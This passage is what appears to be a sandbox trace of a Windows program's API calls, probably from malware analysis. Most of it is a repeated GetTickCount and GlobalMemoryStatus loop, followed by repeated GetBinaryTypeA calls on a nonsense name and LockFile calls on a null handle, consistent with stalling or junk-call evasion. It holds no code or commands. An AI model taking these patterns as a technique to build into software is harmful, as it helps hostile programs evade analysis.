lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.184] GetTickCount () returned 0x1848a [0028.184] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.184] GetTickCount () returned 0x1848a [0028.184] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.184] GetTickCount () returned 0x1848a [0028.184] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.184] GetTickCount () returned 0x1848a [0028.184] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.184] GetTickCount () returned 0x1848a [0028.184] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.184] GetTickCount () returned 0x1848a [0028.184] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.185] GetTickCount () returned 0x18499 [0028.185] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.185] GetTickCount () returned 0x18499 [0028.185] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.185] GetTickCount () returned 0x18499 [0028.185] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.185] GetTickCount () returned 0x18499 [0028.185] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.185] GetTickCount () returned 0x18499 [0028.185] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.185] GetTickCount () returned 0x18499 [0028.185] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.185] GetTickCount () returned 0x18499 [0028.185] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.185] GetTickCount () returned 0x18499 [0028.185] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.185] GetTickCount () returned 0x18499 [0028.185] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.186] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.186] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.186] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.186] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.186] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.186] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.186] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.186] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.186] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.186] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.187] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.187] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.188] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.188] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.188] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.188] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.188] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.188] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.188] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.188] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.188] GetTickCount () returned 0x18499 [0028.188] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.189] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.189] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.189] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.189] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.189] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.189] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.189] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.189] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.189] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.189] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.190] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.190] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.190] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.190] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.190] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.190] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.190] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.190] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.190] GetTickCount () returned 0x18499 [0028.190] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.191] GetTickCount () returned 0x18499 [0028.191] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.192] GetTickCount () returned 0x18499 [0028.192] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.193] GetTickCount () returned 0x18499 [0028.193] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.194] GetTickCount () returned 0x18499 [0028.194] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.194] GetTickCount () returned 0x18499 [0028.194] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.194] GetTickCount () returned 0x18499 [0028.194] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.194] GetTickCount () returned 0x18499 [0028.194] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.194] GetTickCount () returned 0x18499 [0028.194] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.194] GetTickCount () returned 0x18499 [0028.194] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.194] GetTickCount () returned 0x18499 [0028.194] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.194] GetTickCount () returned 0x18499 [0028.194] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.194] GetTickCount () returned 0x18499 [0028.194] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.195] GetTickCount () returned 0x18499 [0028.195] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.196] GetTickCount () returned 0x18499 [0028.196] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.197] GetTickCount () returned 0x18499 [0028.197] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.198] GetTickCount () returned 0x18499 [0028.198] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.198] GetTickCount () returned 0x18499 [0028.198] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.198] GetTickCount () returned 0x18499 [0028.198] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.198] GetTickCount () returned 0x18499 [0028.198] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.198] GetTickCount () returned 0x18499 [0028.198] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.198] GetTickCount () returned 0x18499 [0028.198] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.198] GetTickCount () returned 0x18499 [0028.198] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.198] GetTickCount () returned 0x18499 [0028.198] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.198] GetTickCount () returned 0x18499 [0028.198] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.199] GetTickCount () returned 0x18499 [0028.199] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.200] GetTickCount () returned 0x18499 [0028.200] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.200] GetTickCount () returned 0x18499 [0028.200] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.200] GetTickCount () returned 0x18499 [0028.200] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.200] GetTickCount () returned 0x18499 [0028.200] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.200] GetTickCount () returned 0x184a9 [0028.200] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.200] GetTickCount () returned 0x184a9 [0028.200] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.200] GetTickCount () returned 0x184a9 [0028.200] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.200] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.201] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.201] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.201] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.201] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.201] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.201] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.201] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.201] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.201] GetTickCount () returned 0x184a9 [0028.201] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.202] GetTickCount () returned 0x184a9 [0028.202] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.202] GetTickCount () returned 0x184a9 [0028.202] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.202] GetTickCount () returned 0x184a9 [0028.519] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.520] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.520] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.520] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.520] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.520] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.520] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.520] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.520] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.520] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.520] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, 